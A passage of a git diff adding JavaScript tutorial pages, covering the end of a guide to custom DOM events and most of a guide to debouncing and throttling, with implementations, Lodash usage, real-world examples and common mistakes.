constructor(element) { + this.element = element + this.items = [] + } + + addItem(item) { + this.items.push(item) + + // Announce the change - anyone can listen! + this.element.dispatchEvent(new CustomEvent('cart:itemAdded', { + detail: { item, totalItems: this.items.length }, + bubbles: true + })) + } + + removeItem(itemId) { + this.items = this.items.filter(i => i.id !== itemId) + + this.element.dispatchEvent(new CustomEvent('cart:itemRemoved', { + detail: { itemId, totalItems: this.items.length }, + bubbles: true + })) + } +} + +// Header Badge - listens for cart events +class CartBadge { + constructor(element) { + this.element = element + + // Listen for ANY cart event that bubbles up + document.addEventListener('cart:itemAdded', (e) => { + this.update(e.detail.totalItems) + }) + + document.addEventListener('cart:itemRemoved', (e) => { + this.update(e.detail.totalItems) + }) + } + + update(count) { + this.element.textContent = count + } +} + +// These components don't import each other - they communicate through events! +``` + +This pattern keeps components loosely coupled. The cart doesn't know the badge exists, and the badge doesn't know where cart events come from. + +--- + +## Custom Events vs Native Events + +### The isTrusted Property + +One key difference: custom events have `event.isTrusted` set to `false`: + +```javascript +// Native click from user +button.addEventListener('click', (e) => { + console.log(e.isTrusted) // true - real user action +}) + +// Custom event from code +button.addEventListener('customClick', (e) => { + console.log(e.isTrusted) // false - script-generated +}) + +button.dispatchEvent(new CustomEvent('customClick')) +``` + +### Key Differences Table + +| Feature | Native Events | Custom Events | +|---------|--------------|---------------| +| Triggered by | Browser/User | Your code | +| `isTrusted` | `true` | `false` | +| Processing | Asynchronous | Synchronous | +| `on*` properties | Yes (`onclick`) | No | +| `detail` property | No | Yes | +| Default `bubbles` | Varies by event | `false` | + +--- + +## Common Mistakes + +<AccordionGroup> + <Accordion title="1. Forgetting bubbles: true"> + The most common mistake is expecting events to bubble when they don't: + + ```javascript + // ✗ Won't bubble - parent won't hear it + child.dispatchEvent(new CustomEvent('notify', { + detail: { message: 'hello' } + })) + + // ✓ Will bubble up to ancestors + child.dispatchEvent(new CustomEvent('notify', { + detail: { message: 'hello' }, + bubbles: true + })) + ``` + </Accordion> + + <Accordion title="2. Using onclick for custom events"> + Custom events don't have corresponding `on*` properties: + + ```javascript + // ✗ Does nothing - onmyEvent doesn't exist + element.onmyEvent = () => console.log('fired') + + // ✓ Use addEventListener instead + element.addEventListener('myEvent', () => console.log('fired')) + ``` + </Accordion> + + <Accordion title="3. Dispatching on the wrong element"> + Events only reach listeners on the target and (if bubbling) its ancestors: + + ```javascript + // Listener on #sidebar + sidebar.addEventListener('update', handler) + + // ✗ Dispatching on #header - sidebar won't hear it + header.dispatchEvent(new CustomEvent('update')) + + // ✓ Dispatch on document for truly global events + document.dispatchEvent(new CustomEvent('update')) + ``` + </Accordion> + + <Accordion title="4. Forgetting cancelable: true"> + `preventDefault()` silently does nothing without `cancelable: true`: + + ```javascript + // ✗ preventDefault won't work + const event = new CustomEvent('submit') + element.addEventListener('submit', e => e.preventDefault()) + element.dispatchEvent(event) // Returns true even with preventDefault! + + // ✓ Add cancelable: true + const event = new CustomEvent('submit', { cancelable: true }) + ``` + </Accordion> + + <Accordion title="5. Assuming asynchronous execution"> + Unlike native events, `dispatchEvent()` is synchronous: + + ```javascript + let value = 'before' + + element.addEventListener('sync', () => { + value = 'inside' + }) + + element.dispatchEvent(new CustomEvent('sync')) + + // value is 'inside' immediately - not 'before'! + console.log(value) // "inside" + ``` + </Accordion> +</AccordionGroup> + +--- + +## Best Practices + +<AccordionGroup> + <Accordion title="1. Use namespaced event names"> + Prefix event names to avoid collisions and improve clarity: + + ```javascript + // ✓ Good - clear namespace + new CustomEvent('cart:itemAdded') + new CustomEvent('modal:opened') + new CustomEvent('user:loggedIn') + + // ✗ Avoid - could conflict with future browser events + new CustomEvent('update') + new CustomEvent('change') + ``` + </Accordion> + + <Accordion title="2. Always include relevant data in detail"> + Pass enough information for listeners to act without needing other context: + + ```javascript + // ✗ Not enough context + new CustomEvent('item:deleted', { + detail: { success: true } + }) + + // ✓ Includes all relevant data + new CustomEvent('item:deleted', { + detail: { + itemId: 123, + itemName: 'Widget', + deletedAt: Date.now(), + remainingItems: 5 + } + }) + ``` + </Accordion> + + <Accordion title="3. Document your custom events"> + Treat custom events like an API - document what they do and what data they carry: + + ```javascript + /** + * Fired when an item is added to the cart + * @event cart:itemAdded + * @type {CustomEvent} + * @property {Object} detail + * @property {string} detail.itemId - The ID of the added item + * @property {string} detail.itemName - The name of the item + * @property {number} detail.quantity - Quantity added + * @property {number} detail.totalItems - New total items in cart + */ + ``` + </Accordion> + + <Accordion title="4. Clean up event listeners"> + Remove listeners when components are destroyed to prevent memory leaks: + + ```javascript + class Component { + constructor() { + this.handleEvent = this.handleEvent.bind(this) + document.addEventListener('app:update', this.handleEvent) + } + + handleEvent(e) { + // Handle the event + } + + destroy() { + // Clean up! + document.removeEventListener('app:update', this.handleEvent) + } + } + ``` + </Accordion> +</AccordionGroup> + +--- + +## Key Takeaways + +<Info> +**The key things to remember about Custom Events:** + +1. **Create with `new CustomEvent(type, options)`** - The constructor takes an event name and optional configuration object + +2. **Pass data with `detail`** - The `detail` property can hold any JavaScript value and is accessible in listeners via `event.detail` + +3. **Dispatch with `dispatchEvent()`** - Call this method on any element to fire the event; it executes synchronously + +4. **Set `bubbles: true` for propagation** - By default, custom events don't bubble; enable it explicitly if needed + +5. **Set `cancelable: true` for `preventDefault()`** - Without this option, `preventDefault()` silently does nothing + +6. **Use `addEventListener()`, not `on*`** - Custom events don't have corresponding `onclick`-style properties + +7. **Custom events have `isTrusted: false`** - This distinguishes them from real user-initiated events + +8. **Dispatch returns whether event was canceled** - `dispatchEvent()` returns `false` if any listener called `preventDefault()` + +9. **Use namespaced event names** - Prefix with component/feature name like `cart:updated` or `modal:closed` + +10. **Events enable loose coupling** - Components can communicate without importing or knowing about each other +</Info> + +--- + +## Test Your Knowledge + +<AccordionGroup> + <Accordion title="Question 1: What's the output?"> + ```javascript + const event = new CustomEvent('test', { + detail: { value: 42 } + }) + + console.log(event.detail.value) + console.log(event.isTrusted) + ``` + + **Answer:** + ``` + 42 + false + ``` + + The `detail.value` is `42` as set in the constructor. `isTrusted` is `false` because the event was created programmatically, not by a real user action. + </Accordion> + + <Accordion title="Question 2: Will the parent hear this event?"> + ```javascript + // HTML: <div id="parent"><button id="child">Click</button></div> + + parent.addEventListener('notify', () => console.log('Parent heard it')) + + child.dispatchEvent(new CustomEvent('notify', { + detail: { message: 'hello' } + })) + ``` + + **Answer:** + + No, the parent will not hear the event. Custom events have `bubbles: false` by default. To make it bubble up to the parent, add `bubbles: true`: + + ```javascript + child.dispatchEvent(new CustomEvent('notify', { + detail: { message: 'hello' }, + bubbles: true + })) + ``` + </Accordion> + + <Accordion title="Question 3: What does dispatchEvent return here?"> + ```javascript + const event = new CustomEvent('action', { cancelable: true }) + + element.addEventListener('action', (e) => { + e.preventDefault() + }) + + const result = element.dispatchEvent(event) + console.log(result) + ``` + + **Answer:** + + `false` + + `dispatchEvent()` returns `false` when any listener calls `preventDefault()` on a cancelable event. This is useful for checking if an action should proceed. + </Accordion> + + <Accordion title="Question 4: Why doesn't this work?"> + ```javascript + element.oncustomEvent = () => console.log('Fired!') + element.dispatchEvent(new CustomEvent('customEvent')) + ``` + + **Answer:** + + Custom events don't have corresponding `on*` properties like native events do. The `oncustomEvent` property doesn't exist and is just set to a function that's never called. + + Use `addEventListener()` instead: + + ```javascript + element.addEventListener('customEvent', () => console.log('Fired!')) + element.dispatchEvent(new CustomEvent('customEvent')) + ``` + </Accordion> + + <Accordion title="Question 5: What's the order of console logs?"> + ```javascript + console.log('1') + + document.addEventListener('test', () => console.log('2')) + + document.dispatchEvent(new CustomEvent('test')) + + console.log('3') + ``` + + **Answer:** + + ``` + 1 + 2 + 3 + ``` + + Unlike native browser events, `dispatchEvent()` is **synchronous**. The event handler runs immediately when `dispatchEvent()` is called, before the next line executes. + </Accordion> + + <Accordion title="Question 6: How do you check if a custom event was canceled?"> + **Answer:** + + 1. Create the event with `cancelable: true` + 2. Check the return value of `dispatchEvent()` + + ```javascript + const event = new CustomEvent('beforeDelete', { + detail: { itemId: 123 }, + cancelable: true + }) + + element.addEventListener('beforeDelete', (e) => { + if (!userConfirmed) { + e.preventDefault() + } + }) + + const shouldProceed = element.dispatchEvent(event) + + if (shouldProceed) { + deleteItem(123) + } else { + console.log('Deletion was canceled') + } + ``` + </Accordion> +</AccordionGroup> + +--- + +## Related Concepts + +<CardGroup cols={2}> + <Card title="Event Bubbling & Capturing" icon="arrow-up" href="/beyond/concepts/event-bubbling-capturing"> + Understand how events propagate through the DOM tree + </Card> + <Card title="Event Delegation" icon="hand-pointer" href="/beyond/concepts/event-delegation"> + Handle events efficiently using bubbling and a single listener + </Card> + <Card title="DOM Manipulation" icon="code" href="/concepts/dom"> + Learn how to work with DOM elements and events + </Card> + <Card title="Higher-Order Functions" icon="layer-group" href="/concepts/higher-order-functions"> + Functions that work with other functions - useful for event handlers + </Card> +</CardGroup> + +--- + +## References + +<CardGroup cols={2}> + <Card title="CustomEvent - MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/API/CustomEvent"> + Official reference for the CustomEvent interface, constructor, and detail property + </Card> + <Card title="CustomEvent() Constructor - MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/API/CustomEvent/CustomEvent"> + Detailed syntax and parameters for creating CustomEvent instances + </Card> + <Card title="dispatchEvent() - MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/API/EventTarget/dispatchEvent"> + How to dispatch events on EventTarget objects with synchronous execution + </Card> + <Card title="Creating and Dispatching Events - MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model/Events"> + Comprehensive MDN guide covering event creation, bubbling, and registration + </Card> +</CardGroup> + +--- + +## Articles + +<CardGroup cols={2}> + <Card title="Dispatching Custom Events - javascript.info" icon="newspaper" href="https://javascript.info/dispatch-events"> + Comprehensive tutorial covering Event constructor, CustomEvent, bubbling, and synchronous dispatch behavior with interactive examples + </Card> + <Card title="Custom Events in JavaScript - LogRocket" icon="newspaper" href="https://blog.logrocket.com/custom-events-in-javascript-a-complete-guide/"> + Complete guide to custom events covering creation, dispatching, and real-world component communication patterns + </Card> + <Card title="Custom Events - David Walsh Blog" icon="newspaper" href="https://davidwalsh.name/customevent"> + Concise explanation of CustomEvent with clear code examples and browser compatibility notes + </Card> + <Card title="JavaScript Custom Events Tutorial" icon="newspaper" href="https://www.javascripttutorial.net/javascript-dom/javascript-custom-events/"> + Step-by-step tutorial covering CustomEvent basics with practical examples for DOM interactions + </Card> +</CardGroup> + +--- + +## Videos + +<CardGroup cols={2}> + <Card title="Custom Events in JavaScript - Web Dev Simplified" icon="video" href="https://www.youtube.com/watch?v=DzZXRvk3EGg"> + Clear 10-minute explanation of creating, dispatching, and listening for custom events with practical examples + </Card> + <Card title="JavaScript Custom Events - dcode" icon="video" href="https://www.youtube.com/watch?v=1onVnFfVxBI"> + Hands-on tutorial showing how to build decoupled component communication using CustomEvent + </Card> + <Card title="Create Custom Events in JavaScript - Florin Pop" icon="video" href="https://www.youtube.com/watch?v=jK9O-CKUE60"> + Quick beginner-friendly overview of the CustomEvent API with live coding demonstrations + </Card> +</CardGroup> diff --git a/docs/beyond/concepts/debouncing-throttling.mdx b/docs/beyond/concepts/debouncing-throttling.mdx new file mode 100644 index 00000000..073218b8 --- /dev/null +++ b/docs/beyond/concepts/debouncing-throttling.mdx @@ -0,0 +1,1054 @@ +--- +title: "Debouncing & Throttling: Control Event Frequency in JS" +sidebarTitle: "Debouncing & Throttling: Control Event Frequency" +description: "Learn debouncing and throttling in JavaScript. Optimize event handlers, reduce API calls, and implement both patterns from scratch with real-world examples." +--- + +What happens when a user types in a search box at 60 characters per minute? Or when they scroll through your page, triggering hundreds of events per second? Without proper handling, your application can grind to a halt, making unnecessary API calls or blocking the main thread with expensive computations. + +```javascript +// Without debouncing: 60 API calls per minute while typing +searchInput.addEventListener('input', (e) => { + fetchSearchResults(e.target.value) // Called on EVERY keystroke! +}) + +// With debouncing: 1 API call after user stops typing +searchInput.addEventListener('input', debounce((e) => { + fetchSearchResults(e.target.value) // Called once, 300ms after last keystroke +}, 300)) +``` + +**[Debouncing](https://developer.mozilla.org/en-US/docs/Glossary/Debounce)** and **[throttling](https://developer.mozilla.org/en-US/docs/Glossary/Throttle)** are two techniques that control how often a function can execute. They're essential for handling high-frequency events like scrolling, resizing, typing, and mouse movement without destroying your app's performance. + +<Info> +**What you'll learn in this guide:** +- The difference between debouncing and throttling +- When to use debounce vs throttle (with decision flowchart) +- How to implement both patterns from scratch +- Leading edge vs trailing edge execution +- Real-world use cases: search, scroll, resize, button clicks +- How to use Lodash for production-ready implementations +- Common mistakes and how to avoid them +</Info> + +<Warning> +**Prerequisite:** This guide assumes you understand [Closures](/concepts/scope-and-closures) and [Higher-Order Functions](/concepts/higher-order-functions). Both debounce and throttle are higher-order functions that use closures to maintain state between calls. +</Warning> + +--- + +## What is Debouncing? + +**Debouncing** delays the execution of a function until a specified time has passed since the last call. If the function is called again before the delay expires, the timer resets. The function only executes when the calls stop coming for the specified duration. Under the hood, debounce uses `setTimeout` to schedule the [callback](/concepts/callbacks) after the delay. + +Think of debouncing like an elevator door. When someone approaches, the door stays open. If another person arrives, the timer resets and the door stays open longer. The door only closes after no one has approached for a few seconds. The elevator optimizes by waiting for all passengers before moving. + +```javascript +function debounce(fn, delay) { + let timeoutId + + return function(...args) { + // Clear any existing timer + clearTimeout(timeoutId) + + // Set a new timer + timeoutId = setTimeout(() => { + fn.apply(this, args) + }, delay) + } +} + +// Usage: Only search after user stops typing for 300ms +const debouncedSearch = debounce((query) => { + console.log('Searching for:', query) + fetchSearchResults(query) +}, 300) + +input.addEventListener('input', (e) => { + debouncedSearch(e.target.value) +}) +``` + +### How Debounce Works Step by Step + +Let's trace through what happens when a user types "hello" quickly: + +``` +User types: h e l l o [stops] + │ │ │ │ │ │ +Time (ms): 0 50 100 150 200 500 + │ │ │ │ │ │ +Timer: start reset reset reset reset FIRES! + │ │ │ │ │ │ + └── fn('hello') executes +``` + +1. User types "h" — timer starts (300ms countdown) +2. User types "e" (50ms later) — timer resets (new 300ms countdown) +3. User types "l" (100ms later) — timer resets again +4. User types another "l" (150ms later) — timer resets again +5. User types "o" (200ms later) — timer resets again +6. User stops typing — timer expires after 300ms +7. **Function executes once** with "hello" + +<CardGroup cols={2}> + <Card title="Debounce — MDN Glossary" icon="book" href="https://developer.mozilla.org/en-US/docs/Glossary/Debounce"> + Official MDN definition of debouncing with examples + </Card> + <Card title="setTimeout — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/API/setTimeout"> + The timer API that powers debounce implementations + </Card> +</CardGroup> + +--- + +## What is Throttling? + +**Throttling** ensures a function executes at most once within a specified time interval. Unlike debouncing, throttling guarantees regular execution during continuous events — it doesn't wait for events to stop. + +Think of throttling like a water faucet with a flow restrictor. No matter how much you turn the handle, water only flows at a maximum rate. The restrictor ensures consistent output regardless of input pressure. + +```javascript +function throttle(fn, interval) { + let lastTime = 0 + + return function(...args) { + const now = Date.now() + + // Only execute if enough time has passed + if (now - lastTime >= interval) { + lastTime = now + fn.apply(this, args) + } + } +} + +// Usage: Update position at most every 100ms while scrolling +const throttledScroll = throttle(() => { + console.log('Scroll position:', window.scrollY) + updateScrollIndicator() +}, 100) + +window.addEventListener('scroll', throttledScroll) +``` + +### How Throttle Works Step by Step + +Let's trace through what happens during continuous scrolling: + +``` +Scroll events: ─●──●──●──●──●──●──●──●──●──●──●──●──●──●──●─► + │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ +Time (ms): 0 10 20 30 40 50 60 70 80 90 100 110 120... + │ │ │ +Executes: ✓ (first call) ✓ (100ms) ✓ (200ms) + └──────────────────────────┴──────────────┴──► +``` + +1. First scroll event at 0ms — function executes immediately +2. Events at 10ms, 20ms... 90ms — ignored (within 100ms window) +3. Event at 100ms — function executes (100ms has passed) +4. Events at 110ms, 120ms... 190ms — ignored +5. Event at 200ms — function executes again + +**Key difference:** Throttle guarantees the function runs every X milliseconds during continuous activity. Debounce waits for activity to stop. + +<CardGroup cols={2}> + <Card title="Throttle — MDN Glossary" icon="book" href="https://developer.mozilla.org/en-US/docs/Glossary/Throttle"> + Official MDN definition of throttling with examples + </Card> + <Card title="Date.now() — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/now"> + The timestamp API used in throttle implementations + </Card> +</CardGroup> + +--- + +## Debounce vs Throttle: Visual Comparison + +Here's how they differ when handling the same stream of events: + +``` +┌─────────────────────────────────────────────────────────────────────────────┐ +│ DEBOUNCE VS THROTTLE COMPARISON │ +├─────────────────────────────────────────────────────────────────────────────┤ +│ │ +│ Raw Events (e.g., keystrokes, scroll): │ +│ ─●─●─●─●─●─●─●─●─●─●─●─●─●─●─●─●───────────●─●─●─●─●────────► │ +│ └─────────────────────────────┘ └─────────┘ │ +│ Burst 1 Burst 2 │ +│ │ +│ ─────────────────────────────────────────────────────────────────────────── │ +│ │ +│ DEBOUNCE (300ms): │ +│ Waits for events to stop, then fires once │ +│ │ +│ ────────────────────────────────────●────────────────────●────────► │ +│ │ │ │ +│ Fires! Fires! │ +│ (300ms after (300ms after │ +│ last event) last event) │ +│ │ +│ ─────────────────────────────────────────────────────────────────────────── │ +│ │ +│ THROTTLE (100ms): │ +│ Fires at regular intervals during activity │ +│ │ +│ ─●───────●───────●───────●───────●────────●───────●───────●────► │ +│ │ │ │ │ │ │ │ │ │ +│ 0ms 100ms 200ms 300ms 400ms ...ms ...ms ...ms │ +│ │ +│ Guarantees execution every 100ms while events continue │ +│ │ +└─────────────────────────────────────────────────────────────────────────────┘ +``` + +| Aspect | Debounce | Throttle | +|--------|----------|----------| +| **Executes** | After events stop | During events, at intervals | +| **Guarantees** | Single execution per burst | Regular execution rate | +| **Best for** | Final value matters (search) | Continuous updates (scroll position) | +| **During 1000ms of events** | 1 execution (at end) | ~10 executions (every 100ms) | + +--- + +## When to Use Which: Decision Flowchart + +Use this flowchart to decide between debounce and throttle: + +``` +┌─────────────────────────────────────────────────────────────────────────────┐ +│ WHICH TECHNIQUE SHOULD I USE? │ +├─────────────────────────────────────────────────────────────────────────────┤ +│ │ +│ ┌─────────────────────────┐ │ +│ │ You have a function │ │ +│ │ being called too often │ │ +│ └───────────┬─────────────┘ │ +│ │ │ +│ ▼ │ +│ ┌────────────────────────────────────────┐ │ +│ │ Do you need updates DURING activity? │ │ +│ └────────────────────┬───────────────────┘ │ +│ ┌───────────┴───────────┐ │ +│ │ │ │ +│ YES NO │ +│ │ │ │ +│ ▼ ▼ │ +│ ┌─────────────────┐ ┌─────────────────────┐ │ +│ │ THROTTLE │ │ Do you only care │ │ +│ │ │ │ about the FINAL │ │ +│ │ • Scroll │ │ value? │ │ +│ │ • Resize │ └──────────┬──────────┘ │ +│ │ • Mouse move │ ┌────┴────┐ │ +│ │ • Game loops │ YES NO │ +│ │ • Progress │ │ │ │ +│ │ │ ▼ ▼ │ +│ └─────────────────┘ ┌────────────┐ ┌────────────┐ │ +│ │ DEBOUNCE │ │ Consider │ │ +│ │ │ │ both or │ │ +│ │ • Search │ │ leading │ │ +│ │ • Auto-save│ │ debounce │ │ +│ │ • Validate │ │ │ │ +│ │ • Resize │ └────────────┘ │ +│ │ (final) │ │ +│ └────────────┘ │ +│ │ +└─────────────────────────────────────────────────────────────────────────────┘ +``` + +### Common Use Cases + +| Use Case | Technique | Why | +|----------|-----------|-----| +| **Search autocomplete** | Debounce | Only fetch after user stops typing | +| **Form validation** | Debounce | Validate after user finishes input | +| **Auto-save drafts** | Debounce | Save after user pauses editing | +| **Window resize layout** | Debounce | Recalculate once at final size | +| **Scroll position tracking** | Throttle | Need regular position updates | +| **Infinite scroll** | Throttle | Check proximity to bottom regularly | +| **Mouse move tooltips** | Throttle | Update position smoothly | +| **Rate-limited API calls** | Throttle | Respect API rate limits | +| **Button click (prevent double)** | Debounce (leading) | Execute first click, ignore rapid repeats | +| **Live preview** | Throttle | Show changes without lag | + +--- + +## Leading vs Trailing Edge + +Both debounce and throttle can execute on the **leading edge** (immediately on first call) or **trailing edge** (after delay/at end of interval). Some implementations support both. + +### Trailing Edge (Default) + +The function executes **after** the delay/interval. This is the default behavior shown above. + +```javascript +// Trailing debounce: executes AFTER user stops typing +const trailingDebounce = debounce(search, 300) + +// Timeline: type "hi" → wait 300ms → search("hi") executes +``` + +### Leading Edge + +The function executes **immediately** on the first call, then ignores subsequent calls until the delay expires. + +```javascript +function debounceLeading(fn, delay) { + let timeoutId + + return function(...args) { + // Execute immediately if no pending timeout + if (!timeoutId) { + fn.apply(this, args) + } + + // Clear and reset the timeout + clearTimeout(timeoutId) + timeoutId = setTimeout(() => { + timeoutId = null // Allow next leading call + }, delay) + } +} + +// Usage: Prevent double-click on submit button +const handleSubmit = debounceLeading(() => { + console.log('Form submitted!') + submitForm() +}, 1000) + +submitButton.addEventListener('click', handleSubmit) +// First click: submits immediately +// Rapid clicks: ignored for 1 second +``` + +### Leading Edge Throttle + +```javascript +function throttleLeading(fn, interval) { + let lastTime = 0 + + return function(...args) { + const now = Date.now() + + if (now - lastTime >= interval) { + lastTime = now + fn.apply(this, args) + } + } +} + +// This is actually the same as our basic throttle! +// Throttle naturally executes on leading edge +``` + +### Both Edges + +For maximum responsiveness, execute on both leading AND trailing edges: + +```javascript +function debounceBothEdges(fn, delay) { + let timeoutId + let lastCallTime = 0 + + return function(...args) { + const now = Date.now() + const timeSinceLastCall = now - lastCallTime + + // Leading edge: execute if enough time has passed + if (timeSinceLastCall >= delay) { + fn.apply(this, args) + } + + lastCallTime = now + + // Trailing edge: also execute after delay + clearTimeout(timeoutId) + timeoutId = setTimeout(() => { + fn.apply(this, args) + lastCallTime = Date.now() + }, delay) + } +} +``` + +--- + +## Production-Ready Implementations + +Here are more robust implementations with additional features: + +### Enhanced Debounce with Cancel + +```javascript +function debounce(fn, delay, options = {}) { + let timeoutId + let lastArgs + let lastThis + + const { leading = false, trailing = true } = options + + function debounced(...args) { + lastArgs = args + lastThis = this + + const invokeLeading = leading && !timeoutId + + clearTimeout(timeoutId) + + timeoutId = setTimeout(() => { + timeoutId = null + if (trailing && lastArgs) { + fn.apply(lastThis, lastArgs) + lastArgs = null + lastThis = null + } + }, delay) + + if (invokeLeading) { + fn.apply(this, args) + } + } + + debounced.cancel = function() { + clearTimeout(timeoutId) + timeoutId = null + lastArgs = null + lastThis = null + } + + debounced.flush = function() { + if (timeoutId && lastArgs) { + fn.apply(lastThis, lastArgs) + debounced.cancel() + } + } + + return debounced +} + +// Usage +const debouncedSave = debounce(saveDocument, 1000, { leading: true, trailing: true }) + +// Cancel pending execution +debouncedSave.cancel() + +// Execute immediately +debouncedSave.flush() +``` + +### Enhanced Throttle with Trailing Call + +```javascript +function throttle(fn, interval, options = {}) { + let lastTime = 0 + let timeoutId + let lastArgs + let lastThis + + const { leading = true, trailing = true } = options + + function throttled(...args) { + const now = Date.now() + const timeSinceLastCall = now - lastTime + + lastArgs = args + lastThis = this + + // Leading edge + if (timeSinceLastCall >= interval) { + if (leading) { + lastTime = now + fn.apply(this, args) + } + } + + // Schedule trailing edge + if (trailing) { + clearTimeout(timeoutId) + timeoutId = setTimeout(() => { + if (Date.now() - lastTime >= interval && lastArgs) { + lastTime = Date.now() + fn.apply(lastThis, lastArgs) + lastArgs = null + lastThis = null + } + }, interval - timeSinceLastCall) + } + } + + throttled.cancel = function() { + clearTimeout(timeoutId) + lastTime = 0 + timeoutId = null + lastArgs = null + lastThis = null + } + + return throttled +} +``` + +--- + +## Using Lodash in Production + +For production applications, use battle-tested libraries like [Lodash](https://lodash.com/). They handle edge cases, provide TypeScript types, and are thoroughly tested. + +### Installation + +```bash +# Full library +npm install lodash + +# Or just the functions you need +npm install lodash.debounce lodash.throttle +``` + +### Basic Usage + +```javascript +import debounce from 'lodash/debounce' +import throttle from 'lodash/throttle' + +// Debounce with options +const debouncedSearch = debounce(search, 300, { + leading: false, // Don't execute on first call + trailing: true, // Execute after delay (default) + maxWait: 1000 // Maximum time to wait (forces execution) +}) + +// Throttle with options +const throttledScroll = throttle(updateScrollPosition, 100, { + leading: true, // Execute on first call (default) + trailing: true // Also execute at end of interval (default) +}) + +// Cancel pending execution +debouncedSearch.cancel() + +// Execute immediately +debouncedSearch.flush() +``` + +### The maxWait Option + +Lodash's debounce has a powerful `maxWait` option that sets a maximum time the function can be delayed: + +```javascript +import debounce from 'lodash/debounce' + +// Search after typing stops, BUT at least every 2 seconds +const debouncedSearch = debounce(search, 300, { + maxWait: 2000 // Force execution after 2 seconds of continuous typing +}) +``` + +This is essentially debounce + throttle combined. Useful when you want responsiveness during long bursts of activity. + +<Tip> +**Fun fact:** Lodash's `throttle` is actually implemented using `debounce` with the `maxWait` option set equal to the wait time. Check the [source code](https://github.com/lodash/lodash/blob/main/src/throttle.ts)! +</Tip> + +--- + +## Real-World Examples + +### Search Autocomplete + +```javascript +import debounce from 'lodash/debounce' + +const searchInput = document.getElementById('search') +const resultsContainer = document.getElementById('results') + +async function fetchResults(query) { + if (!query.trim()) { + resultsContainer.innerHTML = '' + return + } + + try { + const response = await fetch(`/api/search?q=${encodeURIComponent(query)}`) + const results = await response.json() + renderResults(results) + } catch (error) { + console.error('Search failed:', error) + } +} + +// Only search 300ms after user stops typing +const debouncedFetch = debounce(fetchResults, 300) + +searchInput.addEventListener('input', (e) => { + debouncedFetch(e.target.value) +}) +``` + +### Infinite Scroll + +```javascript +import throttle from 'lodash/throttle' + +function checkScrollPosition() { + const scrollPosition = window.scrollY + window.innerHeight + const documentHeight = document.documentElement.scrollHeight + + // Load more when within 200px of bottom + if (documentHeight - scrollPosition < 200) { + loadMoreContent() + } +} + +// Check position every 100ms while scrolling +const throttledCheck = throttle(checkScrollPosition, 100) + +window.addEventListener('scroll', throttledCheck) + +// Cleanup on unmount +function cleanup() { + window.removeEventListener('scroll', throttledCheck) + throttledCheck.cancel() +} +``` + +### Window Resize Handler + +```javascript +import debounce from 'lodash/debounce' + +function recalculateLayout() { + const width = window.innerWidth + const height = window.innerHeight + + // Expensive layout calculations + updateGridColumns(width) + resizeCharts(width, height) + repositionElements() +} + +// Only recalculate after user stops resizing +const debouncedResize = debounce(recalculateLayout, 250) + +window.addEventListener('resize', debouncedResize) +``` + +### Prevent Double Submit + +```javascript +import debounce from 'lodash/debounce' + +const form = document.getElementById('checkout-form') + +async function submitOrder(formData) { + const response = await fetch('/api/orders', { + method: 'POST', + body: formData + }) + + if (response.ok) { + window.location.href = '/order-confirmation' + } +} + +// Execute immediately, ignore clicks for 2 seconds +const debouncedSubmit = debounce(submitOrder, 2000, { + leading: true, + trailing: false +}) + +form.addEventListener('submit', (e) => { + e.preventDefault() + debouncedSubmit(new FormData(form)) +}) +``` + +### Mouse Move Tooltip + +```javascript +import throttle from 'lodash/throttle' + +const tooltip = document.getElementById('tooltip') + +function updateTooltipPosition(x, y) { + tooltip.style.left = `${x + 10}px` + tooltip.style.top = `${y + 10}px` +} + +// Update tooltip position every 16ms (60fps) +const throttledUpdate = throttle(updateTooltipPosition, 16) + +document.addEventListener('mousemove', (e) => { + throttledUpdate(e.clientX, e.clientY) +}) +``` + +--- + +## requestAnimationFrame Alternative + +For visual updates tied to rendering (animations, scroll effects), [`requestAnimationFrame`](https://developer.mozilla.org/en-US/docs/Web/API/window/requestAnimationFrame) is often better than throttle. It syncs with the browser's repaint cycle (typically 60fps ≈ 16ms) and is scheduled by the [event loop](/concepts/event-loop) as a special render-related callback. + +```javascript +function throttleWithRAF(fn) { + let ticking = false + let lastArgs + + return function(...args) { + lastArgs = args + + if (!ticking) { + ticking = true + + requestAnimationFrame(() => { + fn.apply(this, lastArgs) + ticking = false + }) + } + } +} + +// Usage: Smooth scroll-linked animations +const updateScrollAnimation = throttleWithRAF(() => { + const scrollPercent = window.scrollY / (document.documentElement.scrollHeight - window.innerHeight) + progressBar.style.width = `${scrollPercent * 100}%` + parallaxElement.style.transform = `translateY(${scrollPercent * 100}px)` +}) + +window.addEventListener('scroll', updateScrollAnimation) +``` + +**When to use rAF vs throttle:** + +| Use rAF when... | Use throttle when... | +|-----------------|---------------------| +| Animating DOM elements | Rate-limiting API calls | +| Scroll-linked visual effects | Infinite scroll loading | +| Canvas/WebGL rendering | Analytics event tracking | +| Parallax effects | Form validation | + +--- + +## Common Mistakes + +### Mistake 1: Creating New Debounced Functions Each Time + +```javascript +// ❌ WRONG: Creates a new debounced function on every call +element.addEventListener('input', (e) => { + debounce(handleInput, 300)(e) // This doesn't work! +}) + +// ✓ CORRECT: Create once, reuse +const debouncedHandler = debounce(handleInput, 300) +element.addEventListener('input', debouncedHandler) +``` + +### Mistake 2: Forgetting to Clean Up + +```javascript +// ❌ WRONG: Memory leak in React/Vue/etc. +useEffect(() => { + const handler = throttle(handleScroll, 100) + window.addEventListener('scroll', handler) +}, []) + +// ✓ CORRECT: Clean up on unmount +useEffect(() => { + const handler = throttle(handleScroll, 100) + window.addEventListener('scroll', handler) + + return () => { + window.removeEventListener('scroll', handler) + handler.cancel() // Cancel any pending calls + } +}, []) +``` + +### Mistake 3: Wrong Technique for the Job + +```javascript +// ❌ WRONG: Debounce for scroll position tracking +// User won't see smooth updates, only final position +window.addEventListener('scroll', debounce(updatePosition, 100)) + +// ✓ CORRECT: Throttle for continuous visual updates +window.addEventListener('scroll', throttle(updatePosition, 100)) + +// ❌ WRONG: Throttle for search autocomplete +// Unnecessary API calls while user is still typing +input.addEventListener('input', throttle(search, 300)) + +// ✓ CORRECT: Debounce for search (only when typing stops) +input.addEventListener('input', debounce(search, 300)) +``` + +### Mistake 4: Losing `this` Context + +```javascript +// ❌ WRONG: Arrow function preserves wrong `this` +class 